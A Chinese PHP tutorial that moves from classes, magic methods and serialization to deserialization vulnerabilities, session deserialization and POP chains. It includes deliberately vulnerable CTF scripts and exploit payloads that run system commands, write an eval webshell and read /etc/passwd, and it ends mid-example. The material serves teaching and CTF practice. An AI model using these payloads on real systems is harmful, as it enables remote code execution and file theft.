PHP 类和对象基础
基础概念
类是对一个类别的抽象概念,而具体的则是对象,比如汽车就是一个类
而对象则是我的宝马,而不是宝马,宝马也是一个类,对象是一个具体到每个事物
PHP官方解释: 类是对象的抽象,对象是类的具像(具体对象)
如何创建一个类:
使用class关键字进行创建,Class ClassName{}
1 2 3 4 5
   | <?php  class Car {      } >
   | 
 
类名的命名规范: 类名通常使用大驼峰命名法。
例如: persontest 的大驼峰命名法就是PersonTest 小驼峰命名法就是personTest。
类中的成员
- 成员属性 (在类中定义的变量称之为属性)
 
- 方法 (在类中定义的函数称之为方法)
 
- 成员常量
 
创建一个类
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php  class Demo {     public $username = 'x1ong';     public $password = "admin@123";
      public function login() {         echo "正在执行登陆操作...";     } }
  $obj = new Demo;  $obj->login();   ?>
   | 
 
类的继承
继承的好处
- 子类继承了父类,那么就拥有了父类可以有的属性和方法 (子承父业)。
 
- 子类拥有父亲的所有可以拿到的属性,还有自己独特的属性。
 
继承的语法
1
   | class SubClassName extends PrentClassName {}
  | 
 
继承示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php  class ParentClass {     public $money = '1000000000000000000.0';          public function run() {         echo " 成为富豪";     } }
  class SubClass extends ParentClass {
  }
  $obj = new SubClass; echo $obj->money; $obj->run(); ?>
   | 
 

可以看到,子类 SubClass 并没有定义 money 属性和 run 方法,但是可以调用其属性和方法,这就是继承。
类的访问权限
类的访问权限一般指的是成员属性和成员方法的访问权限,如下: 
| 权限 | 
说明 | 
外部访问 | 
类内部访问 | 
被继承 | 
public | 
公有的 | 
true | 
true | 
true | 
protected | 
受保护的 | 
false | 
true | 
true | 
private | 
私有的 | 
false | 
true | 
false | 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   | <?php 
  class Person {     public $name = 'x1ong';     protected $id = '41282820020327xxxx';     private $position = '计算机从业人员'; }
  class SubPerson extends Person {     function __construct() {                  echo '我父亲的名字为: ' . $this->name . PHP_EOL;                  echo '我父亲的身份证号为: ' . $this->id . PHP_EOL;                  
      } }
  $obj = new SubPerson;
  echo $obj->name;
 
  echo $obj->id;
 
 
 
  ?>
   | 
 
魔术方法
PHP的魔术方法(Magic Methods)是一些特殊的方法,它们在对象的生命周期中具有特殊的行为。这些方法以两个下划线开头,如__construct()、__destruct()、__get()、__set()等。这些方法被称为“魔术方法”,因为它们在特定的时机自动调用,而不需要显式调用。
__construct()
| 触发条件 | 
参数 | 
| 构造函数,当当前类被实例化的时候自动调用 | 
任意长度的参数,常用于初始化属性的值 | 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | <?php  class Demo {     public $name;     public $age;     public $gender;
      function __construct($name,$age,$gender) {                  $this->name = $name;         $this->age = $age;         $this->gender = $gender;     }  }
  $obj = new Demo('xiaoming',17,'male');  echo $obj->name; echo $obj->age; echo $obj->gender; ?>
   | 
 
__destruct()
| 触发条件 | 
参数 | 
| 析构函数,在对象的所有引用被删除或者当对象被销毁时执行的魔术方法。 | 
无参数 | 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | <?php  class Demo {     function msg() {         echo ' 这是一条无用的信息 ';     }
      function __destruct() {         echo ' 我是__destruct()执行的内容 ';     } }
  $obj = new Demo;  $obj->msg(); echo ' helloworld ';
 
  $ser = serialize($obj); unserialize($ser);  ?>
   | 
 
__wekeup()
在执行unserialize()之前会检查类中是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。返回void,常用与反序列化操作中重新建立数据库连接或执行其他初始化操作。
| 触发条件 | 
参数 | 
在使用 unserialize() 反序列化之前调用 | 
无参数 | 
1 2 3 4 5 6 7 8 9
   | <?php  class Demo {          function __wakeup() {         echo '我是反序列化之前调用的__wakeup方法';     } }
  $obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');
   | 
 
__sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的属性名称的数字。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误。
| 触发条件 | 
参数 | 
返回值 | 
在使用 unserialize() 反序列化之前调用 | 
无参数 | 
需要被序列化存储的成员属性,是个数组。 | 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | <?php  class Demo {     public $name = 'x1ong';     public $age = 18;     public $gender = 'male';     function __sleep() {                  return array('name','age');     } }
  $obj = new Demo;
  echo serialize($obj);  ?>
   | 
 
__toString()
| 触发条件 | 
参数 | 
当对象被 echo(或被作为字符串输出或运算) 时触发,该函数都需要有return值 | 
无参数 | 
1 2 3 4 5 6 7 8 9
   | <?php  class Demo {     function __toString() {         return '我是当对象被echo的时候执行的函数 __toString';     } } $obj = new Demo; echo $obj;  ?>
   | 
 
__invoke()
1 2 3 4 5 6 7 8
   | <?php  class Demo {     function __invoke() {         echo '我是对象被当做函数调用时执行的__invoke()';     } } $obj = new Demo; $obj();
   | 
 
__get()
| 触发条件 | 
参数 | 
| 当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 | 
无参数 | 
1 2 3 4 5 6 7 8 9 10 11
   | <?php  class Demo {     private $name = 'x1ong';     function __get($name) {         echo '你访问的属性值不存在或不可访问,访问名称为: ' . $name;     } }
  $obj = new Demo; echo $obj->name;  ?>
   | 
 
__set()
| 触发条件 | 
参数 | 
| 当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 | 
无参数 | 
在类的外部可以为类的公有属性重新赋值:
1 2 3 4 5 6 7 8 9 10
   | <?php  class Demo {     public $name = 'x1ong'; } $obj = new Demo; echo $obj->name . PHP_EOL; 
  $obj->name = 'pony'; echo $obj->name . PHP_EOL;  ?>
   | 
 
但是遇到了访问不到的属性,一旦为他们重新赋值则会报错,此时我们如果非要从外部赋值,可以使用魔术方法 __set(): 
例如下例: 
1 2 3 4 5 6 7 8 9
   | <?php  class Demo {     protected $name = 'x1ong'; } $obj = new Demo; echo $obj->name . PHP_EOL; 
  $obj->name = 'pony'; ?>
   | 
 
那么如何为外部访问不到的属性重新赋值呢,这个时候就需要用到魔术方法__set():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | <?php  class Demo {          protected $name = 'x1ong';     function __set($name,$value) {                  $this->name = $value;         echo $this->name . PHP_EOL;         echo '当设置一个类外无法访问的属性时,自动调用__set()方法' . PHP_EOL;     } } $obj = new Demo;
  $obj->name = 'pony'; ?>
   | 
 
__clone()
| 触发条件 | 
参数 | 
| 在克隆一个对象的时候调用 ,在这里可以对克隆出来的对象属性做一些操作 | 
无参数 | 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php  class Demo {     public $name;     public $age;     public $gender;     function __construct($name,$age,$gender) {         $this->name = $name;         $this->age = $age;         $this->gender = $gender;     }     function __clone() {         echo '我在对象被克隆的时候调用: __clone()' . PHP_EOL;     } } $obj = new Demo('x1ong',18,'male'); $obj2 = clone $obj;  echo $obj2->name;  ?>
   | 
 
__call()
| 触发条件 | 
参数 | 
| 在调用一个不存在的方法时调用 | 
$args1(调用的方法名),$args2(传入的参数值,是个数组) | 
1 2 3 4 5 6 7 8 9 10
   | <?php  class Demo {     function __call($args1,$args2) {         echo '我是调用对象的一个不存在的方法时执行的__call()';         echo $args1 . PHP_EOL;         print_r($args2);     } } $obj = new Demo; $obj->addInfo(1,2,3);
   | 
 
__callStatic()
| 触发条件 | 
参数 | 
| 当调用不存在的静态方法时调用 | 
$args1(调用的方法名),$args2(传入的参数值,是个数组) | 
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php  class Demo {     static function __callStatic($name, $arguments) {         echo '我是当调用一个不存在的静态方法时执行的__callStatic()' . PHP_EOL;         echo '调用的静态方法名为' . $name . PHP_EOL;         echo '传入的参数为:' . PHP_EOL;         print_r($arguments);     }
  }
  $obj = new Demo; Demo::config('root');
   | 
 
__isset()
| 触发条件 | 
参数 | 
对不可访问或不存在属性使用 isset() 或者 empty() 的时候触发 | 
$args1(不存在的成员属性名称) | 
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php  class Demo {     function __isset($name) {         echo '我是当对不可访问属性使用isset()或者empty()的时候触发的__isset()' . PHP_EOL;         echo '访问的属性名为' . $name . PHP_EOL;     } }
  $obj = new Demo;
  isset($obj->x1ong);
  empty($obj->name);
   | 
 
__unset()
| 触发条件 | 
参数 | 
对不可访问或不存在的属性使用 unset() 时触发 | 
$args1 (不可访问或者不存在的属性名称) | 
1 2 3 4 5 6 7 8 9 10 11
   | <?php  class Demo {     function __unset($name) {         echo '我是对不可访问或不存在的属性使用unset()时触发__unset()' . PHP_EOL;         echo '访问的属性名为' . $name . PHP_EOL;     } }
  $obj = new Demo;
  unset($obj->name);
   | 
 
序列化和反序列化
引言
在很多语言中,将对象的状态信息转为可存储或可传输的过后才能是序列化。序列化的逆向过程则是反序列化。
主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输。最终可以通过反序列化获取之前的对象。
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市: 
这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。
 
当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
 
PHP 中的序列化
在 php 中可以使用serialize函数对一个对象或不为资源类型的数据进行序列化,序列化的内容只包含属性不包含方法。
数据类型的序列化值
| 数据类型 | 
值 | 
序列化的值 | 
| null 类型 | 
null | 
N; | 
| 字符串类型 | 
“hello” | 
s:5:"hello"; | 
| 整型 | 
666 | 
i:666; | 
| 浮点型 | 
2.0 | 
d:2; | 
| 布尔类型 | 
true | 
b:1; | 
| 布尔值类型 | 
false | 
b:0; | 
| 数组类型 | 
array(6,7) | 
a:2:{i:0;i:6;i:1;i:7;} | 
对象的序列化
1 2 3 4 5 6 7 8 9 10 11
   | <?php  class Demo { 	public $name = 'x1ong'; 	public $age = 18; 	public $address = "HN"; }
  $obj = new Demo(); echo serialize($obj);
  ?> 
   | 
 
序列化值解读: 

1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?php  class Person {     public $a1;     public $a2 = false;     public $a3 = 1;     public $a4 = 2.0;     public $a5 = array(1,2);     public $a6 = "demo";     }
 
  echo serialize(new Person());
 
   | 
 
解读: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | O     6     "Person"  6     {}    s     2     "a1"  N    
  s     2     "a2"  b     0    
  s     2     "a3"  i     1    
  s     2     "a4"  d     2    
  s     2     "a5"  a     2     {}    i     0     i     1     i     1     i     2    
  s     2     "a6"  s     4     "demo" 
   | 
 
序列化值类型
| 数据类型 | 
序列化后的类型简称 | 
| array | 
a | 
| boolean | 
b | 
| double | 
d | 
| integer | 
i | 
| common object | 
o | 
| reference | 
r | 
| non-escaped binary string | 
s | 
| custom object | 
C | 
| class | 
O | 
| null | 
N | 
| pointer reference | 
P | 
| unicode string | 
U | 
常见的序列化类型: null => N,boolean => b, integer => i, string => s, array => a, class => O
如果在一个类的成员属性的值是一个对象,然而将该类进行序列化,那么它的结果会是什么样?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | <?php  class Demo1 {     var $name = 'libai';     function info() {         echo $this->name . PHP_EOL;     } }
  class Demo2 {     var $obj;     function __construct() {             $this->obj = new Demo1;     } }
  $a = new Demo2; echo serialize($a);  
 
   | 
 
访问权限不同序列化不同
在PHP类中,访问权限的不同,最终序列化出来的字符串里面的属性名也有些不同。
1 2 3 4 5 6 7 8
   | <?php class Demo {     public $name;     protected $id;     private $position; }
  echo serialize(new Demo);
   | 
 
序列化值如下:

public : 访问权限为 public 的属性,在序列化之后的字符串中,表示属性名的,与实际类中的一致。
 
protected : 访问权限为 protected 的属性,在序列化之后的字符串中,表示属性名的,会在其实际类中的名前面加上 \x00*\x00,例如 protected $name 序列化之后,就为\x00*\x00name
 
private : 访问权限为 private 的属性,在序列化之后的字符串中,表示属性名的,会在其前面加上
  \x00ClassName\x00,之后紧接的是实际类中的属性名。例如一个 Person 类的 private $addr; 序列化之后就为 \x00Person\x00addr
 
\x00 到底是啥呢,它是一个ascii中十进制为0的不可见字符。该字符不可以被复制。如果需要进行url传参的时候,需要在其位置使用%00代替。平时存储可以使用base64编码。
PHP 中的反序列化
在 PHP 中可以使用 unserialize 函数对一个序列化字符串进行反序列化。
1 2 3 4 5 6
   | <?php class Demo { }
  $obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');  echo $obj->name;  
   | 
 

unserialize 反序列化成功之后返回的是对象。 
- 反序列化生成的对象里面的属性和值,由反序列化里的属性和值提供,与原有类预定义的属性和值无关。
 
- 反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法除外)
 
- 反序列化的类需要真实存在
 
反序列化漏洞
漏洞成因
原理: 当进行反序列化的时候反序列化字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。
在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
同时如果类的危险方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。
漏洞类型
- 原生反序列化
 
- session 反序列化
 
- phar 反序列化
 
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php  highlight_file(__FILE__); error_reporting(0); class Execute {     public $cmd;     function __construct(){         $this->cmd = "echo 'hello';";     }     function displayInfo() {         eval($this->cmd);     }
  } $get = $_REQUEST['word']; $obj = unserialize($get); $obj->displayInfo();
   | 
 
首先我们先关注如下危险函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   |  eval() assert()
 
  exec() passthru() popen() system() shell_exec()
 
  file_get_contents() file_put_contents() unlink() show_source() highlight_file() ...
 
  | 
 
可以从代码看到在 displayInfo 函数中调用了 eval($this->cmd) 因此我们只需要想办法 displayInfo 函数,将 cmd 属性赋值为想要执行的代码即可。
而 displayInfo 函数在代码中已经调用了。因此我们只需要将 cmd 属性复制为想要执行的代码即可。
构造 Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | <?php  class Execute {     public $cmd;                               }
  $obj = new Execute; $obj->cmd = "system('whoami');"; echo serialize($obj);
   | 
 
执行得到序列化之后的值: 

传参:
1
   | ?word=O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}
  | 
 

怎样利用反序列化
利用技巧
- 寻找 
unserialize() 函数的参数是否由我们可控的点 
- 寻找我们反序列化的目标,重点寻找存在 
__wakeup 或 __destruct() 魔术方法的类 
- 一层一层地研究该类在魔术方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
 
- 找到我们要控制的属性以后,我们就将代码复制下来,然后构造序列化发起攻击。
 
构造 EXP 技巧
- 把题目代码复制到本地
 
- 注释掉方法和删除一些没用的东西
 
- 本地对属性值构造序列化输出
 
- 尽量对序列化出来的字符串使用 
urlencode() 编码 
- 分析技巧: 先找危险函数,由内到外分析
 
例题
例题-1
1 2 3 4 5 6 7 8 9 10 11
   | <?php highlight_file(__FILE__); error_reporting(0); class vul { 	public $cmd = 'ls'; 	function __wakeup() { 		system($this->cmd); 	} } unserialize($_POST['data']); ?>
   | 
 
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11
   | <?php class vul {     public $cmd = 'ls';                } $obj = new vul; $obj->cmd = "whoami"; echo serialize($obj); ?>
   | 
 
执行得到: 
1
   | O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}
  | 
 
利用: 

例题-2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php  highlight_file(__FILE__); error_reporting(0); class vul { 	public $filename = 'test.txt'; 	public $content = 'flag';
  	function __wakeup() { 		$this->save(); 	}
  	public function save() { 		file_put_contents($this->filename, $this->content); 	} }
  unserialize($_POST['data']); ?>
   | 
 
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | <?php  class vul {     public $filename;     public $content;
                
                 }
  $obj = new vul; $obj->filename = "shell.php"; $obj->content = '<?php echo 123;eval($_REQUEST[0]);?>'; echo serialize($obj); ?>
   | 
 
执行得到: 
1
   | O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:36:"<?php echo 123;eval($_REQUEST[0]);?>";}
  | 
 
利用: 

利用之后,会在同目录下生成 shell.php 文件,访问利用即可。
例题-3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php  highlight_file(__FILE__); error_reporting(0);
  class vul { 	public $file; 	public function __toString() { 		if (isset($this->file)) { 			echo file_get_contents($this->file); 			echo "<br />"; 			return "good!"; 		} 	} }
  $data = unserialize($_POST['data']); echo $data; ?>
   | 
 
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php  class vul {     public $file;                                    }
 
  $obj = new vul; $obj->file = "/etc/passwd"; echo serialize($obj);
   | 
 
执行得到:
1
   | O:3:"vul":1:{s:4:"file";s:11:"/etc/passwd";}
  | 
 
利用: 

例题-4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | <?php  highlight_file(__FILE__); error_reporting(0);
  class vul1 { 	public $obj;
  	function __construct() { 		$this->obj = new vul2(); 	}
  	function __destruct() { 		$this->obj->action(); 	} }
  class vul2 { 	function action() { 		echo 'vul2->action'; 	} }
  class vul3 { 	public $cmd; 	function action() { 		system($this->cmd); 	} }
  unserialize($_POST['data']);
   | 
 
首先我们先定位到危险函数 system() 发现让该函数执行就必须调用 action 方法,于是我们就找调用 action() 方法的地方,发现在 vul1 类下的 __destruct 方法下存在 $this->obj->action(),由于是析构函数,程序退出自动执行,故而我们只需要让该类下的 obj 属性为 vul3 对象即可。
构造EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | <?php  class vul1 {     public $obj;
                
                 } class vul2 {                } class vul3 {     public $cmd;                }
  $obj = new vul3; $obj->cmd = "whoami"; $obj2 = new vul1; $obj2->obj = $obj; echo serialize($obj2);
   | 
 
执行得到:
1
   | O:4:"vul1":1:{s:3:"obj";O:4:"vul3":1:{s:3:"cmd";s:6:"whoami";}}
  | 
 
利用:

例题-5
1 2 3 4 5 6 7 8 9 10 11
   | <?php highlight_file(__FILE__); error_reporting(0); class vul { 	protected $cmd = 'ls'; 	function __wakeup() { 		system($this->cmd); 	} } unserialize($_POST['data']); ?>
   | 
 
由于属性 cmd 的访问权限为 protected,故而在序列化生成的字符串属性前会加上 \x00*\x00,成为 \x00*\x00cmd,由于 \x00 是不可见字符,故而我们需要对其进行URL编码。
1 2 3 4 5 6 7 8 9 10 11
   | <?php class vul {     protected $cmd = "whoami";     function __wakeup() {         system($this->cmd);     } }
  $obj = new vul; echo urlencode(serialize($obj)); ?>
   | 
 
运行得到:
1
   | O%3A3%3A%22vul%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
   | 
 
执行:

例题-6
1 2 3 4 5 6 7 8 9 10 11
   | <?php highlight_file(__FILE__); error_reporting(0); class vul { 	private $cmd = 'ls'; 	function __wakeup() { 		system($this->cmd); 	} } unserialize($_GET['data']); ?>
   | 
 
由于属性 cmd 的访问权限为 private,故而在序列化生成的字符串属性前会加上 \x00vul\x00,成为 \x00vul\x00cmd,由于 \x00 是不可见字符,故而我们需要对其进行URL编码。
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11
   | <?php class vul {     private $cmd = "whoami";     function __wakeup() {         system($this->cmd);     } }
  $obj = new vul; echo urlencode(serialize($obj)); ?>
   | 
 
执行得到: 
1
   | O%3A3%3A%22vul%22%3A1%3A%7Bs%3A8%3A%22%00vul%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
   | 
 
利用: 

session 反序列化
引言
PHP 在 session 读取和存储的时候,都会有一个序列化和反序列化的过程,PHP 内置了多种处理器存取 $_SESSION 数据,都会对数据进行序列化和反序列化。

序列化引擎
除了默认的的 session 序列化引擎 php 外,还有几种引擎,不同的引擎存储方式不同。
php_binary 键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值
 
php 键名+竖线+经过 serialize() 序列化处理的值
 
php_serialize serialize() 函数序列化处理数组的方式
 
以如下代码为例: 
1 2 3 4
   | <?php session_start(); $_SESSION['name'] = 'x1ong'; ?>
   | 
 
php_binary:

php

php_serialize

三种处理器的存储格式差异,就会造成 session 序列化和反序列化处理器设置不当时的安全隐患。
Session 上传进度

1 2 3 4 5 6 7 8 9 10 11
   | <!DOCTYPE html> <html> <body> <form action="http://120.48.128.24" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="PAYLOAD">  <input type="file" name="file"> <input type="submit" name="submit"> </form>  </body> </html>
 
   | 
 
此时我们来到 session_xxxx 文件中就可以看到序列化之后的上传进度,并在其中可以看到上传的文件名和 PHP_SESSION_UPLOAD_PROGRESS 相应的值: 

Session 反序列化题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | <?php
  ini_set('session.serialize_handler', 'php'); session_start(); class OowoO {     public $mdzz;     function __construct() {         $this->mdzz = 'phpinfo();';     }
      function __destruct() {         eval($this->mdzz);     } } if(isset($_GET['phpinfo'])) {     $m = new OowoO(); } else {     highlight_string(file_get_contents('index.php')); } ?>
   | 
 
分析
通过为 phpinfo 参数传入值可执行 phpinfo() 函数查看其信息。

发现当前页面使用的反序列化引擎为 php,而 php.ini 配置文件中配置的是 php_serialize,这个差异就导致了 session 反序列化问题。
利用
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php  error_reporting(0); class OowoO {     public $mdzz;               
                 } $obj = new OowoO(); $obj->mdzz = "system('whoami');"; echo serialize(new $obj); ?>
   | 
 
1 2 3 4 5 6
   |  O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
  |O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";} 
  |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:17:\"system('whoami');\";}
 
  | 
 


成功执行命令。
POP 链
引言
POP链就是利用魔术方法在里面进行多次跳转然后获取 敏感数据 的一种 payload。
例题1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
   | <?php 
  highlight_file(__FILE__); error_reporting(0); class Modifier {     private $var;     public function append($value) {         include($value);         echo $flag;     }     public function __invoke() {         $this->append($this->var);     } }
  class Show {     public $source;     public $str;     public function __toString() {         return $this->str->source;     }     public function __wakeup() {         echo $this->source;     } }
  class Test {     public $p = Modifier;     public function __construct() {         $this->p = array();     }     public function __get($key) {         $func = $this->p;         return $func();     } }
  if (isset($_GET['pop'])) {     unserialize($_GET['pop']); }
 
   | 
 
分析:
目标: 执行 Modifier 类中 append() 函数,修改 var 属性为 flag.php,
在分析的时候,建议从内到外分析: 
将 Modifier 类中的 var 属性赋值为 flag.php,由于 echo $flag 在该类的 append() 方法中,故而不会自动调用。
 
寻找能调用 append() 方法的类: 发现在本类的 __invoke 魔术方法中调用了 append() 方法。
 
寻找能调用 Modifier 类 __invoke 方法的类: 而 __invoke 是魔术方法,当当前类(Modifier) 被当做函数调用时自动调用。那么我们就去找其他类的其他方法有没有函数名我们可控的地方,发现在 Test 类中的 __get 魔术方法中存在 $func = $this->p;return $func(); 因此我们只需要将 Test 中的 属性p赋值为 Modifier 对象即可。
 
寻找能调用 Test 类下 __get 方法的类: __get 为魔术方法,当访问了一个不存在或者无法访问的属性时自动触发。那么我们看下哪里可以控制调用类的一个属性,发现在 Show 类的 __toString() 方法中存在 return $this->str->source;,那么我们只需要让该类的 str 属性赋值为 Test 对象。
 
寻找能调用 Show 类 __toString 方法的类: __toString 为魔术方法,当对象被当做字符串执行(输出)时自动调用,那么我们看下哪里有字符串输出可控的地方,发现在当前类的 __wakeup 方法中存在 echo $this->source;,那么我们只需要将 Show 类的 source 属性赋值为自身对象即可。
 
Show 类的 wakeup 方法在反序列化的时候自动调用,因此我们反序列化 Show 对象即可。
 
最后完成的POP链就构造完成了,但是由于里面存在私有属性,因此建议对序列化出来的值使用 urlencode() 函数进行 URL 编码。
 
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | <?php 
  class Modifier {     private $var = "flag.php";                                    }
  class Show {     public $source;     public $str;          
                      }
  class Test {     public $p = Modifier;                                    }
  $obj = new Modifier(); $obj2 = new Test(); $obj2->p = $obj; $obj3 = new Show(); $obj3->str = $obj2; $obj3->source = $obj3;
  echo urlencode(serialize($obj3));
   | 
 
利用: 

例题2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
   | <?php  header("Content-Type: text/html;charset=utf-8"); error_reporting(0);
  class Read {     public function get_file($value) {         $text = base64_encode(file_get_contents($value));         return $text;     } }
  class Show {     public $source;     public $var;     public $class1;
      public function __construct($name = 'index.php') {         $this->source = $name;         echo $this->source . "Welcome" . "<br />";     }
      public function __toString() {         $content = $this->class1->get_file($this->var);         echo $content;         return $content;     }
      public function _show() {         if (preg_match("/gopher|http|ftp|https|dict|\.\.|flag|file/i", $this->source)) {             die("hacker");         } else {             highlight_file($this->source);         }     }
      public function Change() {         if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {             echo "hacker";         }     }
      public function __get($key) {         $function = $this->$key;         $this->{$key}();     } }
  if (isset($_GET['sid'])) {     $sid = $_GET['sid'];     $config = unserialize($_GET['config']);     $config->$sid; } else {     $show = new Show('index.php');     $show->_show(); } ?>
   | 
 
非预期
分析: 
- 定位危险函数发现存在 
file_get_contents 和 highlight_file,两者参数都可控,但是 highlight_file 过滤了 flag 关键字。而 file_get_contents 并没有进行任何过滤。 
- 目标: 执行 
Read 类中的 get_file() 方法。 
- 寻找可以调用 
get_file 方法的类: 发现 Show 类的 __toString 函数存在 $this->class1->get_file($this->var),我们可以将该类的 class1 属性赋值为 Read 对象,var 属性值赋值为 flag.php 作为参数传给 get_file() 方法执行。 
- 寻找可以调用 
Show 类中的 __toString() 方法的类: 由于 __toString() 方法为魔术方法,当当前类(Show)被当做字符串输出时调用。在 Show 类中我们发现存在 __get() 方法,该方法为魔术方法,当访问一个不存在或无法访问的属性时自动调用。其方法存在 $function = $this->$key;$this->{$key}(); 其中的 $key 为不可访问或不存在的属性,假设不可访问的属性为 __toString,那么带入到 $this->{$key}() 拼接之后就成为了 $this->__toString() 即可达到调用 __toString() 方法的效果。 
在类外部我们可以发现,存在如下代码: 
1 2 3 4 5
   | if (isset($_GET['sid'])) {     $sid = $_GET['sid'];      $config = unserialize($_GET['config']);      $config->$sid;  }
  | 
 
Show 类中并没有 __toString 属性,那么就会触发 __get($key),其中$key的值就为无法访问的属性 __toString,带入到 $this->{$key}()中就为: $this->__toString() 最终调用了该方法。
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?php  class Read { }
  class Show {     public $source;     public $var;     public $class1; }
  $obj = new Read; $obj2 = new Show; $obj2->class1 = $obj; $obj2->var = 'flag.php'; echo urlencode(serialize($obj2)); ?>
   | 
 
利用: 

题解
当然这里除了传入 sid 参数直接调用 Show 类下的 __toString  以外,还可以调用 Show 类下的 _show() 和 Change(),因为这俩方法都存在 preg_match() 正则函数,代码如下: preg_match("/.../", $this->source),正则函数将 source 属性作为字符串在表达式中进行匹配,而此时如果 source 属性的值为 Show 类生成的对象。那么就会调用 __toString 方法。
构造 EXP: 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php  class Read { }
  class Show {     public $source;     public $var;     public $class1; }
  $obj = new Read; $obj2 = new Show; $obj2->class1 = $obj; $obj2->var = 'flag.php'; $obj2->source = $obj2; echo urlencode(serialize($obj2)); ?>
   | 
 
利用:


至于为什么调用了 _show 方法之后执行了两次 __toString(),而 Change 执行了一次 __toString() 原因如下:

例题-3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
   | <?php error_reporting(0); highlight_file(__FILE__); class Vox{     protected $headset;     public $sound;     public function fun($pulse){         include($pulse);     }     public function __invoke(){         $this->fun($this->headset);     } }
  class Saw{     public $fearless;     public $gun;
      public function __toString(){         $this->gun['gun']->fearless;         return "Saw";     }
      public function _pain(){         if($this->fearless){             highlight_file($this->fearless);         }     }
      public function __wakeup(){         if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){             echo "Does it hurt? That's right";             $this->fearless = "index.php";         }     } }
  class Petal{     public $seed;
      public function __get($sun){         $Nourishment = $this->seed;         return $Nourishment();     } }
